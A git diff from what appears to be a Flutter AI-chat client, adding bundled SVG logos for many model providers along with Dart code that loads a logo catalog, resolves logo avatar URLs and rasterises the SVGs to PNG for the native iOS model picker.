a/assets/model_logos/nearai.svg b/assets/model_logos/nearai.svg new file mode 100644 index 000000000..245a8c262 --- /dev/null +++ b/assets/model_logos/nearai.svg @@ -0,0 +1 @@ + diff --git a/assets/model_logos/nebius.svg b/assets/model_logos/nebius.svg new file mode 100644 index 000000000..aeba5890d --- /dev/null +++ b/assets/model_logos/nebius.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/neon.svg b/assets/model_logos/neon.svg new file mode 100644 index 000000000..24e6532f9 --- /dev/null +++ b/assets/model_logos/neon.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/neosmith.svg b/assets/model_logos/neosmith.svg new file mode 100644 index 000000000..f10c58072 --- /dev/null +++ b/assets/model_logos/neosmith.svg @@ -0,0 +1,6 @@ + + NeoSmith + + + + diff --git a/assets/model_logos/neuralwatt.svg b/assets/model_logos/neuralwatt.svg new file mode 100644 index 000000000..720199389 --- /dev/null +++ b/assets/model_logos/neuralwatt.svg @@ -0,0 +1,27 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/assets/model_logos/nova.svg b/assets/model_logos/nova.svg new file mode 100644 index 000000000..9fcae228c --- /dev/null +++ b/assets/model_logos/nova.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/novita-ai.svg b/assets/model_logos/novita-ai.svg new file mode 100644 index 000000000..ac537b8dd --- /dev/null +++ b/assets/model_logos/novita-ai.svg @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/assets/model_logos/nvidia.svg b/assets/model_logos/nvidia.svg new file mode 100644 index 000000000..1f53eefca --- /dev/null +++ b/assets/model_logos/nvidia.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/oci.svg b/assets/model_logos/oci.svg new file mode 100644 index 000000000..a46ebf3f9 --- /dev/null +++ b/assets/model_logos/oci.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/ofox.svg b/assets/model_logos/ofox.svg new file mode 100644 index 000000000..b4f7e116b --- /dev/null +++ b/assets/model_logos/ofox.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/assets/model_logos/ollama-cloud.svg b/assets/model_logos/ollama-cloud.svg new file mode 100644 index 000000000..08c05cf28 --- /dev/null +++ b/assets/model_logos/ollama-cloud.svg @@ -0,0 +1,7 @@ + + + + + + + diff --git a/assets/model_logos/openai.svg b/assets/model_logos/openai.svg new file mode 100644 index 000000000..000f65c34 --- /dev/null +++ b/assets/model_logos/openai.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/opencode-go.svg b/assets/model_logos/opencode-go.svg new file mode 100644 index 000000000..e0833b923 --- /dev/null +++ b/assets/model_logos/opencode-go.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/opencode.svg b/assets/model_logos/opencode.svg new file mode 100644 index 000000000..950846582 --- /dev/null +++ b/assets/model_logos/opencode.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/openreason.svg b/assets/model_logos/openreason.svg new file mode 100644 index 000000000..7484a9dd5 --- /dev/null +++ b/assets/model_logos/openreason.svg @@ -0,0 +1,8 @@ + + OpenReason + + + diff --git a/assets/model_logos/openrouter.svg b/assets/model_logos/openrouter.svg new file mode 100644 index 000000000..31ba0cd63 --- /dev/null +++ b/assets/model_logos/openrouter.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/opper.svg b/assets/model_logos/opper.svg new file mode 100644 index 000000000..c29effacf --- /dev/null +++ b/assets/model_logos/opper.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/orcarouter.svg b/assets/model_logos/orcarouter.svg new file mode 100644 index 000000000..90683a36b --- /dev/null +++ b/assets/model_logos/orcarouter.svg @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/assets/model_logos/ovhcloud.svg b/assets/model_logos/ovhcloud.svg new file mode 100644 index 000000000..064b0835b --- /dev/null +++ b/assets/model_logos/ovhcloud.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/pareto.svg b/assets/model_logos/pareto.svg new file mode 100644 index 000000000..cf140760f --- /dev/null +++ b/assets/model_logos/pareto.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/assets/model_logos/pendra.svg b/assets/model_logos/pendra.svg new file mode 100644 index 000000000..86310ed0d --- /dev/null +++ b/assets/model_logos/pendra.svg @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/assets/model_logos/perplexity-agent.svg b/assets/model_logos/perplexity-agent.svg new file mode 100644 index 000000000..a0f38862a --- /dev/null +++ b/assets/model_logos/perplexity-agent.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/perplexity.svg b/assets/model_logos/perplexity.svg new file mode 100644 index 000000000..a0f38862a --- /dev/null +++ b/assets/model_logos/perplexity.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/pioneer.svg b/assets/model_logos/pioneer.svg new file mode 100644 index 000000000..88f7c3dec --- /dev/null +++ b/assets/model_logos/pioneer.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/poe.svg b/assets/model_logos/poe.svg new file mode 100644 index 000000000..a5ab62d72 --- /dev/null +++ b/assets/model_logos/poe.svg @@ -0,0 +1,7 @@ + + + + + + + diff --git a/assets/model_logos/poolside.svg b/assets/model_logos/poolside.svg new file mode 100644 index 000000000..85569b68d --- /dev/null +++ b/assets/model_logos/poolside.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/privatemode-ai.svg b/assets/model_logos/privatemode-ai.svg new file mode 100644 index 000000000..edb5a6d76 --- /dev/null +++ b/assets/model_logos/privatemode-ai.svg @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/assets/model_logos/qihang-ai.svg b/assets/model_logos/qihang-ai.svg new file mode 100644 index 000000000..3b356637a --- /dev/null +++ b/assets/model_logos/qihang-ai.svg @@ -0,0 +1,9 @@ + + + \ No newline at end of file diff --git a/assets/model_logos/qiniu-ai.svg b/assets/model_logos/qiniu-ai.svg new file mode 100644 index 000000000..858560f9f --- /dev/null +++ b/assets/model_logos/qiniu-ai.svg @@ -0,0 +1,7 @@ + + + + + + + diff --git a/assets/model_logos/qvac.svg b/assets/model_logos/qvac.svg new file mode 100644 index 000000000..677737b04 --- /dev/null +++ b/assets/model_logos/qvac.svg @@ -0,0 +1,6 @@ + + + diff --git a/assets/model_logos/regolo-ai.svg b/assets/model_logos/regolo-ai.svg new file mode 100644 index 000000000..320803a36 --- /dev/null +++ b/assets/model_logos/regolo-ai.svg @@ -0,0 +1,46 @@ + + + + + + + + + + + + diff --git a/assets/model_logos/routing-run.svg b/assets/model_logos/routing-run.svg new file mode 100644 index 000000000..64687a6f9 --- /dev/null +++ b/assets/model_logos/routing-run.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/runinfra.svg b/assets/model_logos/runinfra.svg new file mode 100644 index 000000000..82e7250b1 --- /dev/null +++ b/assets/model_logos/runinfra.svg @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/assets/model_logos/salad-cloud.svg b/assets/model_logos/salad-cloud.svg new file mode 100644 index 000000000..336346841 --- /dev/null +++ b/assets/model_logos/salad-cloud.svg @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + + diff --git a/assets/model_logos/scaleway.svg b/assets/model_logos/scaleway.svg new file mode 100644 index 000000000..7574f72f3 --- /dev/null +++ b/assets/model_logos/scaleway.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/assets/model_logos/scnet-token-plan.svg b/assets/model_logos/scnet-token-plan.svg new file mode 100644 index 000000000..e180d734c --- /dev/null +++ b/assets/model_logos/scnet-token-plan.svg @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/assets/model_logos/scx-ai.svg b/assets/model_logos/scx-ai.svg new file mode 100644 index 000000000..fc56c4fca --- /dev/null +++ b/assets/model_logos/scx-ai.svg @@ -0,0 +1 @@ + diff --git a/assets/model_logos/sensenova.svg b/assets/model_logos/sensenova.svg new file mode 100644 index 000000000..e9df39bda --- /dev/null +++ b/assets/model_logos/sensenova.svg @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + + + + + diff --git a/assets/model_logos/siliconflow-cn.svg b/assets/model_logos/siliconflow-cn.svg new file mode 100644 index 000000000..13cac22b9 --- /dev/null +++ b/assets/model_logos/siliconflow-cn.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/siliconflow.svg b/assets/model_logos/siliconflow.svg new file mode 100644 index 000000000..13cac22b9 --- /dev/null +++ b/assets/model_logos/siliconflow.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/snowflake-cortex.svg b/assets/model_logos/snowflake-cortex.svg new file mode 100644 index 000000000..b4ce519ea --- /dev/null +++ b/assets/model_logos/snowflake-cortex.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/stackit.svg b/assets/model_logos/stackit.svg new file mode 100644 index 000000000..0d78b781a --- /dev/null +++ b/assets/model_logos/stackit.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/standardcompute.svg b/assets/model_logos/standardcompute.svg new file mode 100644 index 000000000..b5736f850 --- /dev/null +++ b/assets/model_logos/standardcompute.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/assets/model_logos/stepfun-ai-step-plan.svg b/assets/model_logos/stepfun-ai-step-plan.svg new file mode 100644 index 000000000..336d1d2a8 --- /dev/null +++ b/assets/model_logos/stepfun-ai-step-plan.svg @@ -0,0 +1,16 @@ + + + + + + + + + + diff --git a/assets/model_logos/stepfun-ai.svg b/assets/model_logos/stepfun-ai.svg new file mode 100644 index 000000000..336d1d2a8 --- /dev/null +++ b/assets/model_logos/stepfun-ai.svg @@ -0,0 +1,16 @@ + + + + + + + + + + diff --git a/assets/model_logos/stepfun-step-plan.svg b/assets/model_logos/stepfun-step-plan.svg new file mode 100644 index 000000000..336d1d2a8 --- /dev/null +++ b/assets/model_logos/stepfun-step-plan.svg @@ -0,0 +1,16 @@ + + + + + + + + + + diff --git a/assets/model_logos/stepfun.svg b/assets/model_logos/stepfun.svg new file mode 100644 index 000000000..336d1d2a8 --- /dev/null +++ b/assets/model_logos/stepfun.svg @@ -0,0 +1,16 @@ + + + + + + + + + + diff --git a/assets/model_logos/subconscious.svg b/assets/model_logos/subconscious.svg new file mode 100644 index 000000000..50f55a3e9 --- /dev/null +++ b/assets/model_logos/subconscious.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/submodel.svg b/assets/model_logos/submodel.svg new file mode 100644 index 000000000..5bef03c64 --- /dev/null +++ b/assets/model_logos/submodel.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/tempr.svg b/assets/model_logos/tempr.svg new file mode 100644 index 000000000..a9fb18e68 --- /dev/null +++ b/assets/model_logos/tempr.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/tencent-coding-plan.svg b/assets/model_logos/tencent-coding-plan.svg new file mode 100644 index 000000000..502e51a5b --- /dev/null +++ b/assets/model_logos/tencent-coding-plan.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/assets/model_logos/tencent-token-plan.svg b/assets/model_logos/tencent-token-plan.svg new file mode 100644 index 000000000..fb22d0aa7 --- /dev/null +++ b/assets/model_logos/tencent-token-plan.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/tencent-tokenhub.svg b/assets/model_logos/tencent-tokenhub.svg new file mode 100644 index 000000000..fb22d0aa7 --- /dev/null +++ b/assets/model_logos/tencent-tokenhub.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/tensorx.svg b/assets/model_logos/tensorx.svg new file mode 100644 index 000000000..6a3b45e78 --- /dev/null +++ b/assets/model_logos/tensorx.svg @@ -0,0 +1,6 @@ + + + + + + diff --git a/assets/model_logos/the-grid-ai.svg b/assets/model_logos/the-grid-ai.svg new file mode 100644 index 000000000..7bb59c17f --- /dev/null +++ b/assets/model_logos/the-grid-ai.svg @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/assets/model_logos/thinkingmachines.svg b/assets/model_logos/thinkingmachines.svg new file mode 100644 index 000000000..021cdb54f --- /dev/null +++ b/assets/model_logos/thinkingmachines.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/tinfoil.svg b/assets/model_logos/tinfoil.svg new file mode 100644 index 000000000..5f6176a28 --- /dev/null +++ b/assets/model_logos/tinfoil.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/togetherai.svg b/assets/model_logos/togetherai.svg new file mode 100644 index 000000000..68413386c --- /dev/null +++ b/assets/model_logos/togetherai.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/tokengo.svg b/assets/model_logos/tokengo.svg new file mode 100644 index 000000000..c751e6b5d --- /dev/null +++ b/assets/model_logos/tokengo.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/tokenrouter.svg b/assets/model_logos/tokenrouter.svg new file mode 100644 index 000000000..56c8191b2 --- /dev/null +++ b/assets/model_logos/tokenrouter.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/assets/model_logos/trustedrouter.svg b/assets/model_logos/trustedrouter.svg new file mode 100644 index 000000000..0551718fc --- /dev/null +++ b/assets/model_logos/trustedrouter.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/umans-ai-coding-plan.svg b/assets/model_logos/umans-ai-coding-plan.svg new file mode 100644 index 000000000..511d4de99 --- /dev/null +++ b/assets/model_logos/umans-ai-coding-plan.svg @@ -0,0 +1,29 @@ + + + + + + + + + + + + + + + + + + + + + diff --git a/assets/model_logos/umans-ai.svg b/assets/model_logos/umans-ai.svg new file mode 100644 index 000000000..511d4de99 --- /dev/null +++ b/assets/model_logos/umans-ai.svg @@ -0,0 +1,29 @@ + + + + + + + + + + + + + + + + + + + + + diff --git a/assets/model_logos/unorouter.svg b/assets/model_logos/unorouter.svg new file mode 100644 index 000000000..6d8ca5a74 --- /dev/null +++ b/assets/model_logos/unorouter.svg @@ -0,0 +1,7 @@ + + + + + + + diff --git a/assets/model_logos/v0.svg b/assets/model_logos/v0.svg new file mode 100644 index 000000000..09f3b411e --- /dev/null +++ b/assets/model_logos/v0.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/vancine.svg b/assets/model_logos/vancine.svg new file mode 100644 index 000000000..965979730 --- /dev/null +++ b/assets/model_logos/vancine.svg @@ -0,0 +1,6 @@ + + + + + + diff --git a/assets/model_logos/venice.svg b/assets/model_logos/venice.svg new file mode 100644 index 000000000..3d5809e3b --- /dev/null +++ b/assets/model_logos/venice.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/vercel.svg b/assets/model_logos/vercel.svg new file mode 100644 index 000000000..a99425f2a --- /dev/null +++ b/assets/model_logos/vercel.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/vispark.svg b/assets/model_logos/vispark.svg new file mode 100644 index 000000000..2348c5a2f --- /dev/null +++ b/assets/model_logos/vispark.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/vivgrid.svg b/assets/model_logos/vivgrid.svg new file mode 100644 index 000000000..928fa3ff1 --- /dev/null +++ b/assets/model_logos/vivgrid.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/volcengine-coding-plan.svg b/assets/model_logos/volcengine-coding-plan.svg new file mode 100644 index 000000000..3a4780bc5 --- /dev/null +++ b/assets/model_logos/volcengine-coding-plan.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/volcengine.svg b/assets/model_logos/volcengine.svg new file mode 100644 index 000000000..3a4780bc5 --- /dev/null +++ b/assets/model_logos/volcengine.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/vultr.svg b/assets/model_logos/vultr.svg new file mode 100644 index 000000000..9205d4484 --- /dev/null +++ b/assets/model_logos/vultr.svg @@ -0,0 +1,6 @@ + + + + + + diff --git a/assets/model_logos/wafer.ai.svg b/assets/model_logos/wafer.ai.svg new file mode 100644 index 000000000..c7b035173 --- /dev/null +++ b/assets/model_logos/wafer.ai.svg @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/assets/model_logos/wallaby.svg b/assets/model_logos/wallaby.svg new file mode 100644 index 000000000..2eddcadc8 --- /dev/null +++ b/assets/model_logos/wallaby.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/wandb.svg b/assets/model_logos/wandb.svg new file mode 100644 index 000000000..57144021e --- /dev/null +++ b/assets/model_logos/wandb.svg @@ -0,0 +1,6 @@ + + + + + + diff --git a/assets/model_logos/watsonx.svg b/assets/model_logos/watsonx.svg new file mode 100644 index 000000000..509b1556d --- /dev/null +++ b/assets/model_logos/watsonx.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/assets/model_logos/xai.svg b/assets/model_logos/xai.svg new file mode 100644 index 000000000..ccd22443c --- /dev/null +++ b/assets/model_logos/xai.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/xiaomi-token-plan-ams.svg b/assets/model_logos/xiaomi-token-plan-ams.svg new file mode 100644 index 000000000..4a893919e --- /dev/null +++ b/assets/model_logos/xiaomi-token-plan-ams.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/xiaomi-token-plan-cn.svg b/assets/model_logos/xiaomi-token-plan-cn.svg new file mode 100644 index 000000000..4a893919e --- /dev/null +++ b/assets/model_logos/xiaomi-token-plan-cn.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/xiaomi-token-plan-sgp.svg b/assets/model_logos/xiaomi-token-plan-sgp.svg new file mode 100644 index 000000000..4a893919e --- /dev/null +++ b/assets/model_logos/xiaomi-token-plan-sgp.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/xiaomi.svg b/assets/model_logos/xiaomi.svg new file mode 100644 index 000000000..4a893919e --- /dev/null +++ b/assets/model_logos/xiaomi.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/xpersona.svg b/assets/model_logos/xpersona.svg new file mode 100644 index 000000000..151d03385 --- /dev/null +++ b/assets/model_logos/xpersona.svg @@ -0,0 +1,8 @@ + + + diff --git a/assets/model_logos/zai-coding-plan.svg b/assets/model_logos/zai-coding-plan.svg new file mode 100644 index 000000000..d7da9b7c5 --- /dev/null +++ b/assets/model_logos/zai-coding-plan.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/zai.svg b/assets/model_logos/zai.svg new file mode 100644 index 000000000..d7da9b7c5 --- /dev/null +++ b/assets/model_logos/zai.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/zeldoc.svg b/assets/model_logos/zeldoc.svg new file mode 100644 index 000000000..6588fbf69 --- /dev/null +++ b/assets/model_logos/zeldoc.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/zenifra.svg b/assets/model_logos/zenifra.svg new file mode 100644 index 000000000..226a8d454 --- /dev/null +++ b/assets/model_logos/zenifra.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/zenmux.svg b/assets/model_logos/zenmux.svg new file mode 100644 index 000000000..9eb8045e4 --- /dev/null +++ b/assets/model_logos/zenmux.svg @@ -0,0 +1,4 @@ + + + + diff --git a/assets/model_logos/zhipuai-coding-plan.svg b/assets/model_logos/zhipuai-coding-plan.svg new file mode 100644 index 000000000..3d0d0c455 --- /dev/null +++ b/assets/model_logos/zhipuai-coding-plan.svg @@ -0,0 +1,3 @@ + + + diff --git a/assets/model_logos/zhipuai.svg b/assets/model_logos/zhipuai.svg new file mode 100644 index 000000000..d7da9b7c5 --- /dev/null +++ b/assets/model_logos/zhipuai.svg @@ -0,0 +1,3 @@ + + + diff --git a/lib/core/services/native_sheet_hydration_service.dart b/lib/core/services/native_sheet_hydration_service.dart index 3183df9f1..b393230ed 100644 --- a/lib/core/services/native_sheet_hydration_service.dart +++ b/lib/core/services/native_sheet_hydration_service.dart @@ -11,6 +11,7 @@ import '../../features/chat/providers/text_to_speech_provider.dart'; import '../../features/chat/models/model_selector_layout.dart'; import '../../features/chat/providers/reasoning_effort_provider.dart'; import '../../l10n/app_localizations.dart'; +import '../../shared/theme/theme_extensions.dart'; import '../../shared/theme/tweakcn_themes.dart'; import 'package:conduit_core/models/model.dart'; @@ -25,6 +26,7 @@ import 'package:conduit_core/features/hermes/models/hermes_model.dart'; import 'package:conduit_core/utils/debug_logger.dart'; import '../utils/model_icon_utils.dart'; +import '../utils/model_logos.dart'; import 'package:conduit_core/utils/model_sort_utils.dart'; @@ -208,6 +210,19 @@ class NativeSheetHydrationService { if (!context.mounted) return null; } + // The native sheet can't draw SVG, so bundled model logos go over as + // PNG bytes, rendered once per logo in the current theme's ink. + final logoInk = context.conduitTheme.textPrimary; + final logoBytes = {}; + for (final model in orderedModels) { + final logoId = modelLogoIdFromUrl( + resolveModelIconUrlForModel(api, model), + ); + if (logoId == null || logoBytes.containsKey(logoId)) continue; + logoBytes[logoId] = await rasterizeModelLogo(logoId, color: logoInk); + } + if (!context.mounted) return null; + final modelOptions = [ ...leadingOptions, ...orderedModels.map((model) { @@ -233,6 +248,16 @@ class NativeSheetHydrationService { tags: model.modelTags, ); } + final logoId = modelLogoIdFromUrl(avatarUrl); + if (logoId != null) { + return NativeSheetModelOption( + id: model.id, + name: model.name, + subtitle: model.description, + avatarBytes: logoBytes[logoId], + tags: model.modelTags, + ); + } final avatarHeaders = avatarUrl == null ? const {} : buildImageHeadersForUrlFromContainer(container, avatarUrl) ?? diff --git a/lib/core/utils/model_icon_utils.dart b/lib/core/utils/model_icon_utils.dart index 563f82b2a..87f3a5328 100644 --- a/lib/core/utils/model_icon_utils.dart +++ b/lib/core/utils/model_icon_utils.dart @@ -4,6 +4,7 @@ import 'package:conduit_core/models/model.dart'; import 'package:conduit_core/services/api_service.dart'; import '../services/native_symbol_image_service.dart'; +import 'model_logos.dart'; /// Extracts the profile image URL from a model's metadata. /// @@ -156,6 +157,11 @@ String? resolveModelIconUrlForModel(ApiService? api, Model? model) { if (isAppleFoundationModel(model)) { return '$kNativeSymbolUrlScheme$kAppleIntelligenceSymbol'; } + // Direct models get their maker's bundled models.dev logo. They have no + // Open WebUI avatar, so never ask the server for one. + if (hasReservedDirectIdentity(model)) { + return ModelLogos.avatarUrlForDirectModel(model); + } // Check for legacy profile_image_url in metadata final legacyUrl = deriveModelIcon(model); diff --git a/lib/core/utils/model_logos.dart b/lib/core/utils/model_logos.dart new file mode 100644 index 000000000..fb3f14be3 --- /dev/null +++ b/lib/core/utils/model_logos.dart @@ -0,0 +1,116 @@ +import 'dart:convert'; +import 'dart:ui' as ui; + +import 'package:conduit_core/features/direct_connections/services/model_logo_catalog.dart'; +import 'package:conduit_core/models/model.dart'; +import 'package:conduit_core/utils/debug_logger.dart'; +import 'package:flutter/services.dart'; +import 'package:flutter_svg/flutter_svg.dart'; + +/// Avatar URL scheme for a bundled models.dev logo: `modellogo:`. +const String kModelLogoUrlScheme = 'modellogo:'; + +const String _kModelLogoDirectory = 'assets/model_logos'; + +/// The bundled models.dev logo catalog, loaded once at startup. +abstract final class ModelLogos { + static ModelLogoCatalog? _catalog; + static Future? _loading; + + /// Loads `catalog.json`. Safe to call more than once; failures leave + /// Direct models on the lettered avatar. + static Future load() => _loading ??= _load(); + + static Future _load() async { + try { + final json = await rootBundle.loadString( + '$_kModelLogoDirectory/catalog.json', + ); + _catalog = ModelLogoCatalog.fromJson( + jsonDecode(json) as Map, + ); + } catch (error) { + DebugLogger.warning( + 'model-logo-catalog-load-failed', + scope: 'model-logos', + data: {'errorType': error.runtimeType.toString()}, + ); + } + } + + /// The avatar URL for a Direct [model] minted by this device, or `null` + /// when its maker and provider are both unknown. + static String? avatarUrlForDirectModel(Model model) { + final catalog = _catalog; + final metadata = model.metadata; + final remoteId = metadata?['remoteModelId']; + if (catalog == null || remoteId is! String) return null; + final logo = catalog.logoFor( + remoteModelId: remoteId, + baseHost: metadata?['directBaseHost'] as String?, + adapterKey: metadata?['adapterKey'] as String?, + ); + return logo == null ? null : '$kModelLogoUrlScheme$logo'; + } + + /// Replaces the catalog, for tests. + static void debugSetCatalog(ModelLogoCatalog? catalog) { + _catalog = catalog; + _loading = catalog == null ? null : Future.value(); + } +} + +/// The logo id in a `modellogo:` avatar URL, or `null` for other URLs. +String? modelLogoIdFromUrl(String? url) { + final trimmed = url?.trim(); + if (trimmed == null || !trimmed.startsWith(kModelLogoUrlScheme)) { + return null; + } + final id = trimmed.substring(kModelLogoUrlScheme.length); + return RegExp(r'^[a-z0-9][a-z0-9._-]*$').hasMatch(id) ? id : null; +} + +String modelLogoAssetPath(String id) => '$_kModelLogoDirectory/$id.svg'; + +/// Renders a logo as a square PNG for surfaces that can't draw SVG (the +/// native iOS model picker). Monochrome logos take [color]; the logo fills +/// [logoFraction] of the square so it sits inset on the avatar plate. +Future rasterizeModelLogo( + String id, { + required Color color, + int pixelSize = 96, + double logoFraction = 0.8, +}) async { + try { + final info = await vg.loadPicture( + SvgAssetLoader( + modelLogoAssetPath(id), + theme: SvgTheme(currentColor: color), + ), + null, + ); + final recorder = ui.PictureRecorder(); + final canvas = ui.Canvas(recorder); + final side = pixelSize.toDouble(); + final logoSide = side * logoFraction; + final source = info.size; + if (source.isEmpty) return null; + final scale = + logoSide / + (source.width > source.height ? source.width : source.height); + canvas + ..translate( + (side - source.width * scale) / 2, + (side - source.height * scale) / 2, + ) + ..scale(scale) + ..drawPicture(info.picture); + info.picture.dispose(); + final image = await recorder.endRecording().toImage(pixelSize, pixelSize); + final bytes = await image.toByteData(format: ui.ImageByteFormat.png); + image.dispose(); + return bytes?.buffer.asUint8List(); + } catch (_) { + return null; + } +} diff --git a/lib/main.dart b/lib/main.dart index 503e75b9b..ff7d0c963 100644 --- a/lib/main.dart +++ b/lib/main.dart @@ -44,6 +44,7 @@ import 'package:conduit_core/providers/host_ports.dart'; import 'package:conduit_core/network/conduit_user_agent.dart'; import 'core/persistence/hive_bootstrap.dart'; +import 'core/utils/model_logos.dart'; import 'package:conduit_core/persistence/hive_prefs_migrator.dart'; @@ -159,7 +160,11 @@ Future _configureUserAgent() async { void _registerBundledLicenses() { LicenseRegistry.addLicense(() async* { final notice = await rootBundle.loadString('THIRD_PARTY_NOTICES.md'); - yield LicenseEntryWithLineBreaks(const ['Open WebUI icon', 'ddgs'], notice); + yield LicenseEntryWithLineBreaks(const [ + 'Open WebUI icon', + 'ddgs', + 'models.dev', + ], notice); }); } @@ -197,6 +202,8 @@ void main() { unawaited(_configureUserAgent()); _registerBundledLicenses(); + // Read by the synchronous avatar resolver; awaited before runApp. + final modelLogosLoaded = ModelLogos.load(); FrameProfiler.instance.attachFrameTimings(); AndroidImeInsetResync.instance.install(); @@ -355,6 +362,7 @@ void main() { installConduitErrorWidgetBuilder(); + await modelLogosLoaded; runApp( UncontrolledProviderScope( container: providerContainer, diff --git a/lib/shared/widgets/model_avatar.dart b/lib/shared/widgets/model_avatar.dart index 61bd5505f..5630c65d8 100644 --- a/lib/shared/widgets/model_avatar.dart +++ b/lib/shared/widgets/model_avatar.dart @@ -1,8 +1,10 @@ import 'dart:typed_data'; +import 'package:flutter_svg/flutter_svg.dart'; import 'package:material_ui/material_ui.dart'; import '../../core/services/native_symbol_image_service.dart'; +import '../../core/utils/model_logos.dart'; import '../theme/theme_extensions.dart'; import 'user_avatar.dart'; @@ -42,6 +44,10 @@ class ModelAvatar extends StatelessWidget { if (symbolName != null) { return _SymbolAvatar(size: size, symbolName: symbolName); } + final logoId = modelLogoIdFromUrl(imageUrl); + if (logoId != null) { + return _LogoAvatar(size: size, logoId: logoId, label: label); + } return AvatarImage( size: size, @@ -164,6 +170,40 @@ class _SymbolAvatarState extends State<_SymbolAvatar> { } } +/// A bundled models.dev logo on the shared plate. Monochrome logos draw in +/// the plate's accent; multicolor ones keep their own colors. +class _LogoAvatar extends StatelessWidget { + const _LogoAvatar({ + required this.size, + required this.logoId, + required this.label, + }); + + static const double _logoFraction = 0.8; + + final double size; + final String logoId; + final String? label; + + @override + Widget build(BuildContext context) { + final color = context.conduitTheme.buttonPrimary; + final logoSize = size * _logoFraction; + return _ModelAvatarPlaceholder( + size: size, + label: label, + child: SvgPicture.asset( + modelLogoAssetPath(logoId), + width: logoSize, + height: logoSize, + theme: SvgTheme(currentColor: color), + errorBuilder: (context, error, stackTrace) => + _ModelAvatarPlaceholder(size: size, label: label), + ), + ); + } +} + /// The tinted plate shared by every model avatar that has no image of its own. class _ModelAvatarPlaceholder extends StatelessWidget { const _ModelAvatarPlaceholder({ diff --git a/packages/conduit_core/lib/features/direct_connections/direct_connections.dart b/packages/conduit_core/lib/features/direct_connections/direct_connections.dart index 21dba3f3a..bdb25e254 100644 --- a/packages/conduit_core/lib/features/direct_connections/direct_connections.dart +++ b/packages/conduit_core/lib/features/direct_connections/direct_connections.dart @@ -10,6 +10,7 @@ export 'package:conduit_core/features/direct_connections/services/direct_http_cl export 'package:conduit_core/features/direct_connections/services/direct_local_document_service.dart'; export 'package:conduit_core/features/direct_connections/services/direct_model_cache_store.dart'; export 'package:conduit_core/features/direct_connections/services/direct_model_registry.dart'; +export 'package:conduit_core/features/direct_connections/services/model_logo_catalog.dart'; export 'package:conduit_core/features/direct_connections/services/direct_provider_adapter.dart'; export 'package:conduit_core/features/direct_connections/services/direct_run_registry.dart'; export 'package:conduit_core/features/direct_connections/services/ollama_adapter.dart'; diff --git a/packages/conduit_core/lib/features/direct_connections/services/direct_model_registry.dart b/packages/conduit_core/lib/features/direct_connections/services/direct_model_registry.dart index 26bf7026b..c8ca21f79 100644 --- 